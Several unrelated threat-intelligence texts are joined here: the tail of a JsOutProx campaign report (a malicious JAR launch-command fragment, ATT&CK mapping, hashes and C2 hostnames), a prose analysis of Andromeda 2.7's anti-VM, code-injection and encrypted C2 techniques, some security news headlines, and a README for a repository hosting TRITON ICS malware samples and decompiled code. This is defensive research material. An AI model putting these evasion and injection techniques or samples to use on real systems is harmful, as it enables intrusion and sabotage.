Files\Java\jre1.8.0_131\bin\javaw.exe\' -jar \'C:\Users\user\AppData\Roaming\jhkgdldsgf.jar\' /f ``` ## Conclusion This threat actor has a specific interest in organizations located in India, and the content of the emails indicates a good knowledge of topics relevant to each of the targeted organizations. The backdoors used in this attack are uncommon, such as JsOutProx, which has only been observed in the wild once before in December 2019. The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe. ## MITRE ATT&CK TTP Mapping | Tactic | Technique | |------------------------------------------------|-----------| | Obfuscation | Obfuscated Files or Information - T1027 | | Software Packing | T1045 | | Persistence | Registry run keys / Startup folder - T1060 | | Screen Capture | T1113 | | System Shutdown/Reboot | T1529 | | Mshta | T1170 | | File and Directory Discovery | T1083 | | Uncommonly Used Port | T1065 | | Windows Management Instrumentation | T1047 | ## Indicators of Compromise (IOCs) **Hashes** - `23b32dce9e3a7c1af4534fe9cf7f461e` – HTA file (JSOutProx) - `0ac306c29fde5e710ae5d022d78769f6` – Java-based Backdoor **Network indicators** - `scndppe.ddns.net:9050` - `backjaadra.ddns.net:8999`
# Andromeda 2.7 Features **Abstract** A new version of the Andromeda bot was recently spotted in the wild with strengthened self-defence mechanisms and novel methods for keeping its process hidden and running persistently. Moreover, its communication data structure and encryption scheme have changed, rendering previous Andromeda IPS/IDS signatures useless. Suweera De Souza and Neo Tan take a detailed look at Andromeda 2.7. Recently, we found a new version of the Andromeda bot in the wild. This version has strengthened its self-defence mechanisms by utilizing more anti-debug/anti-VM tricks than its predecessors. It also employs some novel methods for trying to keep its process hidden and running persistently. Moreover, its communication data structure and encryption scheme have changed, rendering the old Andromeda IPS/IDS signatures useless. In this article, we will look at the following: - Its unpacking routine - Its anti-debug/anti-VM tricks - Its malicious code injection routine - The interaction between its twin injected malicious processes - Its communication protocol, encryption algorithm, and command control. ## Overview of Unpacking Routine The sample we analysed is firstly packed with UPX. However, once unpacked, the code inside is another custom packer. This custom packer creates dynamic memory and decrypts code into this memory. It jumps to a lot of addresses by pushing the offset onto the stack and then returning to it. The code in memory calls VirtualAlloc three times. The first allocated memory is used for storing bytes copied from the original file. Those bytes are then copied over to the third allocated memory where they are rearranged by swapping bytes. Finally, the partially decrypted bytes are copied to the second allocated memory, where the data is decompressed using the aPLib decompression library. The result is a PE file which is then written over the original file image, and the anti-debugging tricks are carried out from here. ## The Way to the Real Routine This version of Andromeda employs many anti-debug/anti-VM tricks, which result in the bot switching to a pre-set fake routine in order to prevent it from running in the VM environment, being debugged, or monitored. The purpose is obvious: to prevent analysts from being able to access the real malicious routine. In the following sections, we’ll take a detailed look at these defence mechanisms. ### Anti-API Hook The sample allocates another section of memory for its anti-API hooking technique. The technique consists of storing the first instruction of the API to memory, followed by a jump to its second instruction in the DLL. ### Customized Exception Handler A pointer to a handler function is passed to the SetUnhandledExceptionFilter API. The handler is called when an access violation error is intentionally created by the sample when it tries to write into the file’s PE header. The code in the handler is only executed if the process is not being debugged. This function gets the pExceptionPointers >ContextRecord in order to set the location of the real payload to the EIP upon return. It also gets the ESP and then sets the two arguments which will be passed to the payload function. ### Anti-VM and Anti-Forensics The GetVolumeInformationA API is called on drive C:\ to get the name of the drive. Then the bot calculates the CRC32 hash value of the name. If the hash value of the drive name matches a specific value, it will bypass all the anti-debugging and anti-VM checks and invoke the exception directly. If the hash value of the drive name doesn’t match, the following anti-debug/anti-VM tricks are employed: 1. Iterating through process names and computing their CRC32 hash values: if a hash value matches any of those on a list of hash values of VM processes and forensics tools, this indicates that the debugging process is inside a sandbox environment. 2. Trying to load the libraries guard32.dll and sbiedll.dll, which belong to Comodo and Sandboxie respectively. If the libraries can be loaded successfully, this indicates that the debugging process is inside a sandbox environment. 3. Querying for a value in the registry to search for the presence of any virtual machine. 4. Calling the opcode rdtsc, which returns the processor time stamp. When first called, it saves it in edx, and the second time it saves it in eax. The registers are subtracted and if the result of the tick count is more than a specific value, this indicates that the process is being debugged. If the bot does detect the presence of either a debugger or a virtual machine, it decrypts the dummy code. This code copies itself under %alluserprofiles% as svchost.exe with hidden system file attributes. It then writes itself in the registry as SunJavaUpdateSched. A socket is then created to listen actively, but no connection has been made previously. ## Data Structure of Encrypted Routine As mentioned, the bot will decrypt the code as the next routine, whether dummy code or a useful routine. The encrypted code of the file is contained within a specific structure that the file uses when carrying out its decryption routine. In this sample, there are three sets of encrypted code which represent three different routines. One routine contains dummy code that is decrypted only when the sample is being debugged or run in a virtual machine. The second routine contains code that injects itself into another process, whereon the third routine is decrypted in that process. The encrypted data is decrypted using RC4. The key used is a fixed length and is located at the beginning of the structure. The decrypted code is further decompressed into allocated memory using the aPLib decompression library. ## Twin Malicious Injected Processes The bot will inject its core code into two processes after successfully bypassing all the anti-debug/anti-VM tricks. ### Code Injection Routine The bot calls the GetVolumeInformation API on C:\ to get the VolumeSerialNumber. It then checks whether the environment variable ‘svch’ has already been created. If it has, then it will inject itself into svchost.exe. If the environment variable is not present, it will set the environment variable ‘src’ to point to its own file path and then inject into msiexec.exe. The injection process involves several steps: 1. The malware calls CreateFile to get the handle of the file it wants to inject. It then gets its section handle and uses it to get the image of the file in memory. 2. A memory address with the same size as that of the image of the file to be injected is created with page_execute_readwrite access. Then the image of the file is copied over to this memory address. 3. Another memory address is created with the same size as that of the image of the original bot file, also with page_execute_readwrite access. The original file is then copied over to this new memory address. 4. A suspended process of the file to be injected is created. The memory address containing the original file is unmapped. The bot’s file handle and the process handle are used to map the view of the botnet file. Before it calls ResumeThread to resume the process, it changes the entry point of the injected file to point to its code. ### Twin Process Interaction The code that is injected into the process decrypts more code into memory using the methods described. This final decrypted code is the commencement of the botnet’s payload. In this version, Andromeda displays some new techniques in its execution. First, it modifies the registry entry to allow the process to bypass the firewall. Next, it tries to determine whether the environment variable ‘svch’ has been set. If it has, it means that another instance of the file has been run. The creation of two processes is important for the bot. One process is used to ensure that the copy of the bot which will be created in %alluserprofile% is always present and that the registry entries have not been modified. The second process is used for connecting to the C&C server and executing instructions based on the messages received. Additionally, the two processes communicate with each other through an instance of creating a pipe connection. ### Process 1 (Installation Routine and Watchdogs) This part of code is executed when the environment variable ‘svch’ has not been found. The bot tries to connect to the pipe name. If it can connect, then the bot terminates the other process. It then tries to get the environment variable ‘src’, which was created before injection. The value contains the path from which the original file was run. Next, the bot wants to enable the file to autorun, so it saves the path of the file in %alluserprofile% in the registry. At first, it tries to access a specific subkey in the registry. If it is unsuccessful, it accesses another subkey. After this, the bot creates two watchdog threads which are primarily used to keep re-setting the file and the registry entries if they have been modified. The bot then creates two environment variables – ‘ppid’, pointing to its process ID, and ‘svch’ with the value of 1. It then runs the file that has been created in %alluserprofile%. ### Process 2 (Core Routine) When the bot is run in another process, it sets the environment variable ‘svch’ to 0. A thread is created that creates a named pipe. If a connection is established, the thread reads the bytes that are written from the other process. The second thread created by the new process carries out some further code injection. It first resolves winhttp.dll APIs using the anti-API hooking technique and also inline hooks three APIs. ## Communication Protocol, Encryption Algorithm Before establishing a connection, the bot prepares the message to be sent to the C&C server. It uses a specific format for the message. This string is encrypted using RC4 with a hard-coded key and is further encrypted using base64. Once a message is received, the bot calculates the CRC32 hash of the message. If the calculated hash matches the first DWORD, the message is valid. After executing the action based on which instruction it received, another message is sent to the server to notify it that the action has been completed. ## Conclusion This new version of the Andromeda bot has demonstrated its tenacity by executing code that ensures every instance of its process is kept running and by employing more anti-debug/anti-VM tricks than its previous version. However, it is still possible to bypass all those tricks once we have complete knowledge of its executing procedures. Moreover, we could easily block its communication data after addressing the decryption performance issue.
# Shamoon Collaborator Greenbug Adopts New Communication Tool A slip-up by a malware author has allowed researchers to taxonomize three ransomware variations going by different names. ## It’s Not the Trump Sex Tape, It’s a RAT Criminals are using the end of the Trump presidency to deliver a new remote-access trojan (RAT) variant disguised as a sex video of the outgoing POTUS, researchers report. ## ElectroRAT Drains Cryptocurrency Wallet Funds of Thousands At least 6,500 cryptocurrency users have been infected by new, ‘extremely intrusive’ malware that’s spread via trojanized macOS, Windows, and Linux apps. ## Sunburst’s C2 Secrets Reveal Second-Stage SolarWinds Victims Examining the backdoor’s DNS communications led researchers to find a government agency and a big U.S. telco that were flagged for further exploitation in the spy campaign.
# MDudek-ICS/TRISIS-TRITON-HATMAN: Repository containing original and decompiled files of TRISIS/TRITON/HATMAN malware ## Description This repository contains original samples and decompiled sources of malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers. Each organization describing this malware in reports used a different name (TRISIS/TRITON/HatMan). For that reason, there is no one, common name for it. ### Folder original_samples Contains original files used by the malware that could be found in the wild: | Name | MD5 | Contains | MD5 | |-------------|----------------------------------------------|--------------|----------------------------------------------| | trilog.7z | 0b4e76e84fa4d6a9716d89107626da9b | trilog.exe | 6c39c3f4a08d3d78f2eb973a94bd7718 | | library.7z | 76f84d3aee53b2856575c9f55a9487e7 | library.zip | 0face841f7b2953e7c29c064d6886523 | | imain.7z | d173e8016e73f0f2c17b5217a31153be | imain.bin | 437f135ba179959a580412e564d3107f | | inject.7z | 80fdda5ea7eec98bfdd07fec8f644c2d | inject.bin | 0544d425c7555dc4e9d76b571f31f500 | | all.7z | c382f242f62a3c5f4aab2093f6e0fb2f | All files | - | All archives are secured with password: infected. ### Folder decompiled_code Contains decompiled python files, originating from trilog.exe file and library.zip archive: | Origin | Result | Method | |---------------|----------------------------|----------------------------| | trilog.exe | script_test.py | unpy2exe + uncompyle6 | | library.zip | Files in folder library | uncompyle6 | ### Folder yara_rules Contains yara rules (that I am aware of) detecting this malware: | File | Author | |----------------------|------------------------------| | mandiant.yara | @itsreallynick (Mandiant) | | ics-cert.yara | DHS/NCCIC/ICS-CERT | | ics-cert-v2.yara | DHS/NCCIC/ICS-CERT (from update B report) | ### Folder symbolic_execution Contains script for running imain.bin with ANGR symbolic execution engine – credits to @bl4ckic3. ## Why Publishing? Isn't it dangerous? Some people in the community were raising the issue that publishing the samples and decompiled sources might be dangerous. I agreed until these were not public. I have found the included files in at least two publicly available sources, which means anyone can download it if they know where to search. Moreover, I believe that organizations/people who could be able to reuse it and have the capability to deploy it in a real attack have already accessed it a long time ago. This repository makes it more accessible for the community and academia who might work on improving defense solutions and saves some time on looking for decompilers. ## Contact @dudekmar contact(at)marcindudek.com